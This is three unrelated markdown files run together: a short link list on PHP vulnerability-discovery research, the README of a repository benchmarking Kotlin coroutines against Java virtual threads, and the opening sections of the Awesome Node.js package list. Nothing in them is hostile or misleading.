## 废弃
- [Efficient and Flexible Discovery of PHP Vulnerability译文](https://mp.weixin.qq.com/s/xMoDTEvj91RgXFXfykS9tQ)
- [Efficient and Flexible Discovery of PHP Application Vulnerabilities原文](https://swag.cispa.saarland/papers/skoruppa2017php.pdf)
- [The Code Analysis Platform "Octopus"](https://github.com/octopus-platform)
- [A Code Intelligence System：The Octopus Platform](https://octopus-platform.github.io/)
|
# good-story
---
[](https://twitter.com/intent/tweet?text=%20Checkout%20this%20%40github%20repo%20by%20%40joaofse%20%F0%9F%91%A8%F0%9F%8F%BD%E2%80%8D%F0%9F%92%BB%3A%20https%3A//github.com/jesperancinha/good-story)
[](https://github.com/jesperancinha/good-story)
[](https://www.apache.org/licenses/LICENSE-2.0)
[](https://github.com/jesperancinha/good-story/actions/workflows/good-story-report-run.yml)
[](https://github.com/jesperancinha/good-story/actions/workflows/good-story-cpp.yml)
[](https://github.com/jesperancinha/good-story/actions/workflows/good-story-intro.yml)
[](https://github.com/jesperancinha/good-story/actions/workflows/good-story-java.yml)
[](https://github.com/jesperancinha/good-story/actions/workflows/good-story-kotlin.yml)
[](https://github.com/jesperancinha/good-story/actions/workflows/good-story-kotlin-loom.yml)
[](https://www.codacy.com/gh/jesperancinha/good-story/dashboard?utm_source=github.com&utm_medium=referral&utm_content=jesperancinha/good-story&utm_campaign=Badge_Grade)
[](https://snyk.io/test/github/jesperancinha/good-story)
[](https://www.codacy.com/gh/jesperancinha/good-story/dashboard?utm_source=github.com&utm_medium=referral&utm_content=jesperancinha/good-story&utm_campaign=Badge_Coverage)
[](https://codecov.io/gh/jesperancinha/good-story)
[](https://coveralls.io/github/jesperancinha/good-story?branch=main)
[](#)
[](#)
[](#)
---
## Technologies used
Please check the [TechStack.md](TechStack.md) file for details.
## 1. Introduction
An investigation and comparison between Kotlin and Java on an engineering level. Since beauty is in the eye of the
beholder, this repository is not meant to evaluate Java or Kotlin on an aesthetic level.
This project started as an idea to explore differences in performance between different projects. It has grown now into
a full fledge comparison between Java and Kotlin and ONLY for <b>engineering purposes</b>.
I won't dive into style IT discussions in this project. And of course the `elegant` card is not the focal point here.
If you understand these terms, then I think you'll find this project interesting.
The way we are going to compare performance, response times and memory usage is going to be by processing a small novel
I'm developing in the [GoodStory](https://jesperancinha.github.io/good-story/good.story/GoodStory.html) file. We will
apply algorithms to it, make objects, and explore the limits
of our own machines.
Further, you may find that I'm using `for`, `while` and a `do..while` in both `Java` and `Kotlin` implementations. This
is purposely done in some cases. I may find that in some cases there is no point in using the already implemented
algorithm for some situations. Especially if they can be
implemented in exactly the same way in `Java` or `Kotlin` without the use of a DSL.
`Lombok` usage will be avoided as much as possible and so please do not be surprised if you get to see any manual
implementation of the builder pattern.
#### 1.1. About performance
It caught my attention recently that in many blogs and videos, people are stressing out that coroutines and virtual
threads are not about performance. That is of course directly true. What they are about is making a better use of a
resource that has been there for ages. Sometimes called Continuation,
sometimes called coroutines, but this is a concept that has been here for a long time. This repository is, regardless,
about performance, because if we use our resources better, then that will ultimately result in better performance as a
whole. So this repo is not about comparing the individual
performance of one coroutine to one virtual thread. They work as a whole, both switch context, both can be suspended and
both have different states. So I am measuring, or better yet, attempting to measure performance on a local machine and
try to see if there is any significant difference there.
These tests are also allowing to exhaust resources and therefore forcing each implementation to manage itself. It's here
where the performance study comes in.
This repo is the official support repo to my article on medium:
[](https://itnext.io/kotlin-coroutines-vs-java-virtual-threads-a-good-story-but-just-that-91038c7d21eb) [Kotlin Coroutines vs Java Virtual Threads — A good story, but just that…](https://itnext.io/kotlin-coroutines-vs-java-virtual-threads-a-good-story-but-just-that-91038c7d21eb)
<div align="center">
<a title="Kotlin Coroutines vs Java Virtual Threads — A good story, but just that…" href="https://itnext.io/kotlin-coroutines-vs-java-virtual-threads-a-good-story-but-just-that-91038c7d21eb">
<img
src="./docs/article-coroutines-banner.jpeg"
style="width:100%;">
</a>
</div>
#### Stable releases
- [1.0.0](https://github.com/jesperancinha/good-story/tree/1.0.0) - [315e7260b1214c8be1bc48a4af5446c8ad68bd9f](https://github.com/jesperancinha/good-story/tree/1.0.0) -
JDK19 runs with [Jesperancinha GitHub Action for LoomJDK](https://github.com/JEsperancinhaOrg/loom-action)
- [1.0.1](https://github.com/jesperancinha/good-story/tree/1.0.1) - [64fcf38b3448f692353dffcc3a7150bdd1b2b645](https://github.com/jesperancinha/good-story/tree/1.0.1) - JDK19 is now installed as available
- [1.0.2](https://github.com/jesperancinha/good-story/tree/1.0.1) - [64fcf38b3448f692353dffcc3a7150bdd1b2b645](https://github.com/jesperancinha/good-story/tree/1.0.2) - Adds kotlin-loom with a Coroutine Dispatcher using a Loom Virtual Thread (original idea from [apatrida](https://github.com/apatrida). Check [kotlin-loom-good-story](./kotlin-loom-good-story/Readme.md) for more details)
---
## 2. Environment
[Java Project Loom](https://wiki.openjdk.java.net/display/loom/Main) is itself a JDK and in order to use it, you need
first to [install it](https://wiki.openjdk.java.net/display/loom/Main)
Be sure to run `. ./sdk19.sh` before running any of the commands, but only if you don't have JDK19 installed. This
script installs JDK19 using SDK-MAN.
---
## 3. Tech comparisons
We cannot 100% compare Kotlin and Java in a direct way, but we will compare them using their best performant version.
JDK 19 is now available to install in different ways and it has been released. This means that this project is being updated as standard.
- [Kotlin Coroutines](https://kotlinlang.org/docs/coroutines-guide.html)
- [Project Loom](https://wiki.openjdk.java.net/display/loom/Main)
Please keep checking the evolution of file [Log.md](Log.md) if you want to keep up to date with the results of the
comparisons. It gets updated per commit.
You can also check the detailed file for [Java](./dump/java/Log.md) and the detailed file
for [Kotlin](./dump/kotlin/Log.md).
---
## 4. How top run
You can run the whole test in one go by running:
```shell
make clean build-run
```
For heavier tests please run:
```shell
make clean build-run-loccal
```
Just make sure that loom-jdk is setup in [/loom-jdk](loom-jdk) at the root of this project. Check the sdk scripts in
the [Makefile](./Makefile) for distribution choices for the Loom JDK.
---
## 5. [Coffee Sessions](https://www.buymeacoffee.com/jesperancinha/posts) ☕️
- [How I created a JDK 19 Loom GitHub Action](https://www.buymeacoffee.com/jesperancinha/how-i-created-jdk-19-loom-github-action)
---
## 6. References
#### Online
- [Coroutines are not about multi-threading at all](https://elizarov.medium.com/coroutines-are-not-about-multi-threading-at-all-1b2c6e97ec02)
- [Structured concurrency by Roman Elizarov](https://elizarov.medium.com/structured-concurrency-722d765aa952)
- [libdill: Structured Concurrency for C](http://libdill.org/structured-concurrency.html)
- [Java Virtual Threads by Gaetano Piazzolla](https://medium.com/dev-genius/java-virtual-threads-715c162c6c39)
- [Carrier Kernel Thread Pinning of Virtual Threads (Project Loom)](https://paluch.biz/blog/183-carrier-kernel-thread-pinning-of-virtual-threads-project-loom.html)
- [GitHub's "Our response to the war in Ukraine" 🇺🇦](https://github.blog/2022-03-02-our-response-to-the-war-in-ukraine/)
- [Why Continuations are Coming to Java](https://www.infoq.com/presentations/continuations-java/)
- [Coroutines overview](https://kotlinlang.org/docs/coroutines-overview.html)
- [JetBrains’ Statement on Ukraine 🇺🇦](https://blog.jetbrains.com/blog/2022/03/11/jetbrains-statement-on-ukraine/)
- [Scala (programming language)](https://en.wikipedia.org/wiki/Scala_(programming_language))
- [History of Scala](https://www.javatpoint.com/history-of-scala)
- [Project Loom (Java 19)](https://github.com/openjdk/loom)
- [Java (programming language) ☕](https://en.wikipedia.org/wiki/Java_(programming_language))
- [Project Loom: Fibers and Continuations for the Java Virtual Machine](https://cr.openjdk.java.net/~rpressler/loom/Loom-Proposal.html)
- [Coming to Java 19: Virtual threads and platform threads](https://blogs.oracle.com/javamagazine/post/java-loom-virtual-threads-platform-threads)
- [STAR method interview ✨](https://www.youtube.com/results?search_query=star+method+interview)
- [Amazon Leadership Examples on Youtube](https://www.youtube.com/results?search_query=amazon+leadership+examples)
- [System Design Messenger on Youtube](https://www.youtube.com/results?search_query=system+design+messenger)
- [Behavioral Interview Prep](https://www.algoexpert.io/behavioral-interviews)
- [System - Design - Primer](https://github.com/donnemartin/system-design-primer)
- [Grokking the System Design Interview](https://www.educative.io/courses/grokking-the-system-design-interview)
- [Grokking the Coding Interview: Patterns for Coding Questions](https://designgurus.org/course/grokking-the-coding-interview)
- [Big O Notation and Time/Space Complexity](https://medium.com/swlh/big-o-notation-and-time-space-complexity-1806936e6330)
- [Analysis of Algorithms | Big-O analysis](https://www.geeksforgeeks.org/analysis-algorithms-big-o-analysis/)
- [BTech smart class - Introduction to algorithms](http://www.btechsmartclass.com/data_structures/introduction-to-algorithms.html)
- [Splay tree](https://en.wikipedia.org/wiki/Splay_tree)
- [Big-O Quiz](https://bigoquiz.com/home)
- [Sieve of Eratosthenes](https://en.wikipedia.org/wiki/Sieve_of_Eratosthenes)
- [Binary search tree](https://en.wikipedia.org/wiki/Binary_search_tree)
- [The height of an AVL tree containing n nodes](http://www.mathcs.emory.edu/~cheung/Courses/253/Syllabus/Trees/AVL-height.html)
- [AVL Tree](https://www.programiz.com/dsa/avl-tree)
- [Data Structure and Algorithms - AVL Trees](https://www.tutorialspoint.com/data_structures_algorithms/avl_tree_algorithm.htm)
- [AVL Tree Insertion, Rotation, and Balance Factor Explained](https://www.freecodecamp.org/news/avl-tree-insertion-rotation-and-balance-factor/)
- [What is an AVL tree? 🌳](https://www.educative.io/edpresso/what-is-an-avl-tree)
- [AVL Tree program in Java](https://www.javatpoint.com/avl-tree-program-in-java)
- [How to insert Strings into an AVL Tree](https://www.geeksforgeeks.org/how-to-insert-strings-into-an-avl-tree/)
- [Big O Factorial Time Complexity](https://jarednielsen.com/big-o-factorial-time-complexity/)
- [BIG O NOTATION PRIMER](https://www.topcoder.com/blog/big-o-notation-primer)
- [What would cause an algorithm to have O(log log n) complexity?](https://stackoverflow.com/questions/16472012/what-would-cause-an-algorithm-to-have-olog-log-n-complexity)
- [What does O(log n) mean exactly?](https://stackoverflow.com/questions/2307283/what-does-olog-n-mean-exactly/2307314#2307314)
- [Big O Notation, Part Two: Space Complexity](https://careerkarma.com/blog/big-o-notation-space/)
- [ALGORITHMS IN KOTLIN, BIG-O-NOTATION, PART 1/7](http://developerlife.com/2018/08/16/algorithms-in-kotlin-1/)
- [Big O Cheat Sheet](https://www.bigocheatsheet.com/)
- [Time complexity vs. space complexity](https://www.educative.io/edpresso/time-complexity-vs-space-complexity)
- [Complexity and Big-O Notation](https://pages.cs.wisc.edu/~vernon/cs367/notes/3.COMPLEXITY.html)
- [Going inside Java’s Project Loom and virtual threads](https://blogs.oracle.com/javamagazine/post/going-inside-javas-project-loom-and-virtual-threads)
- [Kotlin Coroutines dispatchers](https://kt.academy/article/cc-dispatchers)
- [VisualVM](https://visualvm.github.io/)
- [Picocli](https://picocli.info/)
- [Issues with Spring, how Micronaut solves it, and latter’s support for GraalVM](https://medium.com/dev-genius/micronaut-application-comparison-with-spring-boot-and-support-for-graalvm-d0fb0d933d55)
- [Kotlin Coroutines](https://kotlinlang.org/docs/coroutines-guide.html)
- [Java Project Loom](https://wiki.openjdk.java.net/display/loom/Main)
- [GitHub Action for GraalVM](https://github.com/marketplace/actions/github-action-for-graalvm)
- [Project Loom: Understand the new Java concurrency model](https://www.infoworld.com/article/3652596/project-loom-understand-the-new-java-concurrency-model.html)
- [Going inside Java’s Project Loom and virtual threads](https://blogs.oracle.com/javamagazine/post/going-inside-javas-project-loom-and-virtual-threads)
#### Videos
<div align="center">
<a title="The Complete Guide to Big O Notation & Complexity Analysis for Algorithms: Part 1 of 2" href="https://www.youtube.com/watch?v=HfIH3czXc-8">
<img
src="https://img.youtube.com/vi/HfIH3czXc-8/0.jpg"
style="width:20%;">
</a>
<a title="P99 CONF: High-Performance Networking Using eBPF, XDP, and io_uring" href="https://www.youtube.com/watch?v=dWfA5460HYU">
<img
src="https://img.youtube.com/vi/dWfA5460HYU/0.jpg"
style="width:20%;">
</a>
</div>
#### Books
- Mcdowell, G. (23rd April 2020). <i>Cracking the Coding Interview 189 Programming Questions and Solutions</i>. (6th
Edition). CareerCup
- Cormen, T. Leiserson, C. Rivest, R. Stein, C. (2009). <i>Introduction to Algorithms</i>. (Third Edition). MIT Press
---
## About me
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</div>
|
<div align="center">
<div>
<img width="500" src="media/logo.svg" alt="Awesome Node.js">
</div>
<br>
<br>
<br>
<a href="https://awesome.re">
<img src="https://awesome.re/badge-flat2.svg" alt="Awesome">
</a>
<p>
<sub>Just type <a href="https://node.cool"><code>node.cool</code></a> to go here. Follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
</p>
<br>
<p>
<a href="https://en.wikipedia.org/wiki/Node.js">Node.js</a> is an open-source, cross-platform, JavaScript runtime for writing servers and command-line tools.
</p>
<br>
</div>
## Contents
- [Packages](#packages)
- [Mad science](#mad-science)
- [Command-line apps](#command-line-apps)
- [Functional programming](#functional-programming)
- [HTTP](#http)
- [Debugging / Profiling](#debugging--profiling)
- [Logging](#logging)
- [Command-line utilities](#command-line-utilities)
- [Build tools](#build-tools)
- [Hardware](#hardware)
- [Templating](#templating)
- [Web frameworks](#web-frameworks)
- [Documentation](#documentation)
- [Filesystem](#filesystem)
- [Control flow](#control-flow)
- [Streams](#streams)
- [Real-time](#real-time)
- [Image](#image)
- [Text](#text)
- [Number](#number)
- [Math](#math)
- [Date](#date)
- [URL](#url)
- [Data validation](#data-validation)
- [Parsing](#parsing)
- [Humanize](#humanize)
- [Compression](#compression)
- [Network](#network)
- [Database](#database)
- [Testing](#testing)
- [Security](#security)
- [Benchmarking](#benchmarking)
- [Minifiers](#minifiers)
- [Authentication](#authentication)
- [Authorization](#authorization)
- [Email](#email)
- [Job queues](#job-queues)
- [Node.js management](#nodejs-management)
- [Natural language processing](#natural-language-processing)
- [Process management](#process-management)
- [Automation](#automation)
- [AST](#ast)
- [Static site generators](#static-site-generators)
- [Content management systems](#content-management-systems)
- [Forum](#forum)
- [Blogging](#blogging)
- [Weird](#weird)
- [Serialization](#serialization)
- [Miscellaneous](#miscellaneous)
- [Resources](#resources)
- [Tutorials](#tutorials)
- [Discovery](#discovery)
- [Articles](#articles)
- [Newsletters](#newsletters)
- [Videos](#videos)
- [Books](#books)
- [Blogs](#blogs)
- [Courses](#courses)
- [Cheatsheets](#cheatsheets)
- [Tools](#tools)
- [Community](#community)
- [Miscellaneous](#miscellaneous-1)
- [Related lists](#related-lists)
## Packages
### Mad science
- [webtorrent](https://github.com/feross/webtorrent) - Streaming torrent client for Node.js and the browser.
- [peerflix](https://github.com/mafintosh/peerflix) - Streaming torrent client.
- [dat](https://github.com/datproject/dat-node) - Real-time replication and versioning for data sets.
- [ipfs](https://github.com/ipfs/js-ipfs) - Distributed file system that seeks to connect all computing devices with the same system of files.
- [stackgl](https://github.com/stackgl) - Open software ecosystem for WebGL, built on top of browserify and npm.
- [peerwiki](https://github.com/mafintosh/peerwiki) - All of Wikipedia on BitTorrent.
- [peercast](https://github.com/mafintosh/peercast) - Stream a torrent video to Chromecast.
- [BitcoinJS](https://github.com/bitcoinjs/bitcoinjs-lib) - Clean, readable, proven Bitcoin library.
- [Bitcore](https://github.com/bitpay/bitcore) - Pure and powerful Bitcoin library.
- [PDFKit](https://github.com/devongovett/pdfkit) - PDF generation library.
- [turf](https://github.com/Turfjs/turf) - Modular geospatial processing and analysis engine.
- [webcat](https://github.com/mafintosh/webcat) - p2p pipe across the web using WebRTC that uses your GitHub private/public key for authentication.
- [NodeOS](https://github.com/NodeOS/NodeOS) - The first operating system powered by npm.
- [YodaOS](https://github.com/yodaos-project/yodaos) - AI operating system.
- [Brain.js](https://github.com/BrainJS/brain.js) - Machine-learning framework.
- [Pipcook](https://github.com/alibaba/pipcook) - Front-end algorithm framework to create a machine learning pipeline.
- [Cytoscape.js](https://github.com/cytoscape/cytoscape.js) - Graph theory (a.k.a. network) modeling and analysis.
- [Kadence](https://gitlab.com/deadcanaries/kadence) - Kademlia distributed hash table.
- [seedshot](https://github.com/twobucks/seedshot) - Temporary P2P screenshot sharing from your browser.
- [js-git](https://github.com/creationix/js-git) - JavaScript implementation of Git.
- [skale](https://github.com/skale-me/skale-engine) - High performance distributed data processing engine.
- [xlsx](https://github.com/sheetjs/js-xlsx) - Pure JS Excel spreadsheet reader and writer.
- [isomorphic-git](https://github.com/isomorphic-git/isomorphic-git) - Pure JavaScript implementation of Git.
### Command-line apps
- [np](https://github.com/sindresorhus/np) - Better `npm publish`.
- [npm-name](https://github.com/sindresorhus/npm-name) - Check a package name's availability on npm.
- [gh-home](https://github.com/sindresorhus/gh-home) - Open the GitHub page of the repo in the current directory.
- [npm-home](https://github.com/sindresorhus/npm-home) - Open the npm page of a package.
- [trash](https://github.com/sindresorhus/trash) - Safer alternative to `rm`.
- [speed-test](https://github.com/sindresorhus/speed-test) - Test your internet connection speed and ping.
- [emoj](https://github.com/sindresorhus/emoj) - Find relevant emoji from text on the command-line.
- [pageres](https://github.com/sindresorhus/pageres) - Capture website screenshots.
- [cpy](https://github.com/sindresorhus/cpy) - Copy files.
- [vtop](https://github.com/MrRio/vtop) - More better top, with nice charts.
- [empty-trash](https://github.com/sindresorhus/empty-trash) - Empty the trash.
- [is-up](https://github.com/sindresorhus/is-up) - Check whether a website is up or down.
- [is-online](https://github.com/sindresorhus/is-online) - Check if the internet connection is up.
- [public-ip](https://github.com/sindresorhus/public-ip) - Get your public IP address.
- [clipboard-cli](https://github.com/sindresorhus/clipboard-cli) - Copy & paste on the terminal.
- [XO](https://github.com/xojs/xo) - Enforce strict code style using the JavaScript happiness style.
- [Standard](https://github.com/feross/standard) - JavaScript Standard Style — One style to rule them all.
- [ESLint](https://github.com/eslint/eslint) - The pluggable linting utility for JavaScript.
- [dev-time](https://github.com/samverschueren/dev-time-cli) - Get the current local time of a GitHub user.
- [David](https://github.com/alanshaw/david) - Tells you when your package npm dependencies are out of date.
- [http-server](https://github.com/indexzero/http-server) - Simple, zero-config command-line HTTP server.
- [Live Server](https://github.com/tapio/live-server) - Development HTTP-server with livereload capability.
- [bcat](https://github.com/kessler/node-bcat) - Pipe command output to web browsers.
- [normit](https://github.com/pawurb/normit) - Google Translate with speech synthesis in your terminal.
- [fkill](https://github.com/sindresorhus/fkill-cli) - Fabulously kill processes. Cross-platform.
- [pjs](https://github.com/danielstjules/pjs) - Pipeable JavaScript. Quickly filter, map, and reduce from the terminal.
- [license-checker](https://github.com/davglass/license-checker) - Check licenses of your app's dependencies.
- [browser-run](https://github.com/juliangruber/browser-run) - Easily run code in a browser environment.
- [tmpin](https://github.com/sindresorhus/tmpin) - Adds stdin support to any CLI app that accepts file input.
- [wifi-password](https://github.com/kevva/wifi-password-cli) - Get the current wifi password.
- [wallpaper](https://github.com/sindresorhus/wallpaper) - Change the desktop wallpaper.
- [brightness](https://github.com/kevva/brightness-cli) - Change the screen brightness.
- [torrent](https://github.com/maxogden/torrent) - Download torrents.
- [kill-tabs](https://github.com/sindresorhus/kill-tabs) - Kill all Chrome tabs to improve performance, decrease battery usage, and save memory.
- [alex](https://github.com/wooorm/alex) - Catch insensitive, inconsiderate writing.
- [pen](https://github.com/noraesae/pen) - Live Markdown preview in the browser from your favorite editor.
- [subdownloader](https://github.com/beatfreaker/subdownloader) - Subtitle downloader for movies and TV series.
- [dark-mode](https://github.com/sindresorhus/dark-mode) - Toggle the macOS Dark Mode.
- [iponmap](https://github.com/nogizhopaboroda/iponmap) - IP location finder.
- [Jsome](https://github.com/Javascipt/Jsome) - Pretty prints JSON with configurable colors and indentation.
- [itunes-remote](https://github.com/mischah/itunes-remote) - Interactively control iTunes.
- [mobicon](https://github.com/samverschueren/mobicon-cli) - Mobile app icon generator.
- [mobisplash](https://github.com/samverschueren/mobisplash-cli) - Mobile app splash screen generator.
- [diff2html-cli](https://github.com/rtfpessoa/diff2html-cli) - Pretty git diff to HTML generator.
- [Cash](https://github.com/dthree/cash) - Cross-platform Unix shell commands in pure JavaScript.
- [trymodule](https://github.com/VictorBjelkholm/trymodule) - Try out npm packages in the terminal.
- [jscpd](https://github.com/kucherenko/jscpd) - Copy/paste detector for source code.
- [atmo](https://github.com/Raathigesh/Atmo) - Server-side API mocking.
- [auto-install](https://github.com/siddharthkp/auto-install) - Auto installs dependencies as you code.
- [lessmd](https://github.com/linuxenko/lessmd) - Markdown in the terminal.
- [cost-of-modules](https://github.com/siddharthkp/cost-of-modules) - Find out which dependencies are slowing you down.
- [localtunnel](https://github.com/localtunnel/localtunnel) - Expose your localhost to the world.
- [svg-term-cli](https://github.com/marionebl/svg-term-cli) - Share terminal sessions via SVG.
- [gtop](https://github.com/aksakalli/gtop) - System monitoring dashboard for the terminal.
- [themer](https://github.com/mjswensen/themer) - Generate themes for your editor, terminal, wallpaper, Slack, and more.
- [carbon-now-cli](https://github.com/mixn/carbon-now-cli) - Beautiful images of your code — from right inside your terminal.
- [cash-cli](https://github.com/xxczaki/cash-cli) - Convert between 170 currencies.
- [taskbook](https://github.com/klauscfhq/taskbook) - Tasks, boards & notes for the command-line habitat.
- [discharge](https://github.com/brandonweiss/discharge) - Easily deploy static websites to Amazon S3.
- [npkill](https://github.com/voidcosmos/npkill) - Easily find and remove old and heavy node_modules folders.
### Functional programming
- [lodash](https://github.com/lodash/lodash) - Utility library delivering consistency, customization, performance, & extras. A better and faster Underscore.js.
- [immutable](https://github.com/facebook/immutable-js) - Immutable data collections.
- [Ramda](https://github.com/ramda/ramda) - Utility library with a focus on flexible functional composition enabled by automatic currying and reversed argument order. Avoids mutating data.
- [Folktale](https://github.com/origamitower/folktale) - Suite of libraries for generic functional programming in JavaScript that allows you to write elegant, modular applications with fewer bugs, and more reuse.
- [Mout](https://github.com/mout/mout) - Utility library with the biggest difference between other existing solutions is that you can choose to load only the modules/functions that you need, no extra overhead.
- [Bacon.js](https://github.com/baconjs/bacon.js) - Functional reactive programming.
- [RxJS](https://github.com/reactivex/rxjs) - Functional reactive library for transforming, composing, and querying various kinds of data.
- [Lazy.js](https://github.com/dtao/lazy.js) - Utility library similar to lodash/Underscore but with lazy evaluation, which can translate to superior performance in many cases.
- [Kefir.js](https://github.com/kefirjs/kefir) - Reactive library with focus on high performance and low memory usage.
### HTTP
- [got](https://github.com/sindresorhus/got) - Nicer interface to the built-in `http` module.
- [gh-got](https://github.com/sindresorhus/gh-got) - Convenience wrapper for `got` to interact with the GitHub API.
- [axios](https://github.com/mzabriskie/axios) - Promise based HTTP client (works in the browser too).
- [wreck](https://github.com/hapijs/wreck) - HTTP Client Utilities.
- [download](https://github.com/kevva/download) - Download and extract files effortlessly.
- [http-proxy](https://github.com/nodejitsu/node-http-proxy) - HTTP proxy.
- [superagent](https://github.com/visionmedia/superagent) - HTTP request library.
- [node-fetch](https://github.com/bitinn/node-fetch) - `window.fetch` for Node.js.
- [flashheart](https://github.com/bbc/flashheart) - REST client.
- [http-fake-backend](https://github.com/micromata/http-fake-backend) - Build a fake backend by providing the content of JSON files or JavaScript objects through configurable routes.
- [cacheable-request](https://github.com/lukechilds/cacheable-request) - Wrap native HTTP requests with RFC compliant cache support.
- [gotql](https://github.com/khaosdoctor/gotql) - GraphQL request library built on [got](https://github.com/sindresorhus/got).
- [global-agent](https://github.com/gajus/global-agent) - Global HTTP/HTTPS proxy agent that is configurable using environment variables.
### Debugging / Profiling
- [ndb](https://github.com/GoogleChromeLabs/ndb) - Improved debugging experience, enabled by Chrome DevTools.
- [ironNode](https://github.com/s-a/iron-node) - Node.js debugger supporting ES2015 out of the box.
- [node-inspector](https://github.com/node-inspector/node-inspector) - Debugger based on Blink Developer Tools.
- [debug](https://github.com/visionmedia/debug) - Tiny debugging utility.
- [why-is-node-running](https://github.com/mafintosh/why-is-node-running) - Node.js is running but you don't know why?
- [njsTrace](https://github.com/valyouw/njstrace) - Instrument and trace your code, see all function calls, arguments, return values, as well as the time spent in each function.
- [vstream](https://github.com/joyent/node-vstream) - Instrumentable streams mix-ins to inspect a pipeline of streams.
- [stackman](https://github.com/watson/stackman) - Enhance an error stacktrace with code excerpts and other goodies.
- [locus](https://github.com/alidavut/locus) - Starts a REPL at runtime that has access to all variables.
- [0x](https://github.com/davidmarkclements/0x) - Flamegraph profiling.
- [ctrace](https://github.com/automation-stack/ctrace) - Well-formatted and improved trace system calls and signals.
- [leakage](https://github.com/andywer/leakage) - Write memory leak tests.
- [llnode](https://github.com/nodejs/llnode) - Post-mortem analysis tool which allows you to inspect objects and get insights from a crashed Node.js process.
- [thetool](https://github.com/sfninja/thetool) - Capture different CPU, memory, and other profiles for your app in Chrome DevTools friendly format.
- [swagger-stats](https://github.com/slanatech/swagger-stats) - Trace API calls and monitor API performance, health, and usage metrics.
- [NiM](https://github.com/june07/nim) - Manages DevTools debugging workflow.
### Logging
- [pino](https://github.com/pinojs/pino) - Extremely fast logger inspired by Bunyan.
- [winston](https://github.com/winstonjs/winston) - Multi-transport async logging library.
- [console-log-level](https://github.com/watson/console-log-level) - The most simple logger imaginable with support for log levels and custom prefixes.
- [storyboard](https://github.com/guigrpa/storyboard) - End-to-end, hierarchical, real-time, colorful logs and stories.
- [signale](https://github.com/klauscfhq/signale) - Console logger.
- [consola](https://github.com/nuxt/consola) - Console logger.
### Command-line utilities
- [chalk](https://github.com/chalk/chalk) - Terminal string styling done right.
- [meow](https://github.com/sindresorhus/meow) - CLI app helper.
- [yargs](https://github.com/yargs/yargs) - Command-line parser that automatically generates an elegant user-interface.
- [ora](https://github.com/sindresorhus/ora) - Elegant terminal spinner.
- [get-stdin](https://github.com/sindresorhus/get-stdin) - Easier stdin.
- [log-update](https://github.com/sindresorhus/log-update) - Log by overwriting the previous output in the terminal. Useful for rendering progress bars, animations, etc.
- [Ink](https://github.com/vadimdemedes/ink) - React for interactive command-line apps.
- [listr](https://github.com/samverschueren/listr) - Terminal task list.
- [conf](https://github.com/sindresorhus/conf) - Simple config handling for your app or module.
- [ansi-escapes](https://github.com/sindresorhus/ansi-escapes) - ANSI escape codes for manipulating the terminal.
- [log-symbols](https://github.com/sindresorhus/log-symbols) - Colored symbols for various log levels.
- [figures](https://github.com/sindresorhus/figures) - Unicode symbols with Windows CMD fallbacks.
- [boxen](https://github.com/sindresorhus/boxen) - Create boxes in the terminal.
- [terminal-link](https://github.com/sindresorhus/terminal-link) - Create clickable links in the terminal.
- [terminal-image](https://github.com/sindresorhus/terminal-image) - Display images in the terminal.
- [string-width](https://github.com/sindresorhus/string-width) - Get the visual width of a string - the number of columns required to display it.
- [cli-truncate](https://github.com/sindresorhus/cli-truncate) - Truncate a string to a specific width in the terminal.
- [first-run](https://github.com/sindresorhus/first-run) - Check if it's the first time the process is run.
- [blessed](https://github.com/chjj/blessed) - Curses-like library.
- [Inquirer.js](https://github.com/SBoudrias/Inquirer.js) - Interactive command-line prompt.
- [yn](https://github.com/sindresorhus/yn) - Parse yes/no like values.
- [cli-table3](https://github.com/cli-table/cli-table3) - Pretty unicode tables.
- [drawille](https://github.com/madbence/node-drawille) - Draw on the terminal with unicode braille characters.
- [update-notifier](https://github.com/yeoman/update-notifier) - Update notifications for your CLI app.
- [ascii-charts](https://github.com/jstrace/chart) - ASCII bar chart in the terminal.
- [progress](https://github.com/tj/node-progress) - Flexible ascii progress bar.
- [insight](https://github.com/yeoman/insight) - Helps you understand how your tool is being used by anonymously reporting usage metrics to Google Analytics.
- [cli-cursor](https://github.com/sindresorhus/cli-cursor) - Toggle the CLI cursor.
- [columnify](https://github.com/timoxley/columnify) - Create text-based columns suitable for console output. Supports cell wrapping.
- [cli-columns](https://github.com/shannonmoeller/cli-columns) - Columnated unicode and ansi-safe text lists.
- [cfonts](https://github.com/dominikwilkowski/cfonts) - Sexy ASCII fonts for the console.
- [multispinner](https://github.com/codekirei/node-multispinner) - Multiple, simultaneous, individually controllable CLI spinners.
- [omelette](https://github.com/f/omelette) - Shell autocompletion helper.
- [cross-env](https://github.com/kentcdodds/cross-env) - Set environment variables cross-platform.
- [shelljs](https://github.com/shelljs/shelljs) - Portable Unix shell commands.
- [sudo-block](https://github.com/sindresorhus/sudo-block) - Block users from running your app with root permissions.
- [loud-rejection](https://github.com/sindresorhus/loud-rejection) - Make unhandled promise rejections fail loudly instead of the default silent fail.
- [sparkly](https://github.com/sindresorhus/sparkly) - Generate sparklines `▁▂▃▅▂▇`.
- [Bit](https://github.com/teambit/bit) - Create, maintain, find and use small modules and components across repositories.
- [gradient-string](https://github.com/bokub/gradient-string) - Beautiful color gradients in terminal output.
- [oclif](https://github.com/oclif/oclif) - CLI framework complete with parser, automatic documentation, testing, and plugins.
- [term-size](https://github.com/sindresorhus/term-size) - Reliably get the terminal window size.
- [Cliffy](https://github.com/drew-y/cliffy) - Framework for interactive CLIs.
### Build tools
- [parcel](https://github.com/parcel-bundler/parcel) - Blazing fast, zero config web app bundler.
- [webpack](https://github.com/webpack/webpack) - Packs modules and assets for the browser.
- [rollup](https://github.com/rollup/rollup) - Next-generation ES2015 module bundler.
- [gulp](https://github.com/gulpjs/gulp) - Streaming and fast build system that favors code over config.
- [Broccoli](https://github.com/broccolijs/broccoli) - Fast, reliable asset pipeline, supporting constant-time rebuilds and compact build definitions.
- [Brunch](https://github.com/brunch/brunch) - Front-end web app build tool with simple declarative config, fast incremental compilation, and an opinionated workflow.
- [Start](https://github.com/deepsweet/start) - Functional task runner with shareable presets.
- [ygor](https://github.com/shannonmoeller/ygor) - Promising task runner for when `npm run` isn't enough and everything else is too much.
- [FuseBox](https://github.com/fuse-box/fuse-box) - Fast build system that combines the power of webpack, JSPM and SystemJS, with first-class TypeScript support.
- [pkg](https://github.com/zeit/pkg) - Package your Node.js project into an executable.
### Hardware
- [johnny-five](https://github.com/rwaldron/johnny-five) - Firmata based Arduino Framework.
- [serialport](https://github.com/voodootikigod/node-serialport) - Access serial ports for reading and writing.
- [usb](https://github.com/nonolith/node-usb) - USB library.
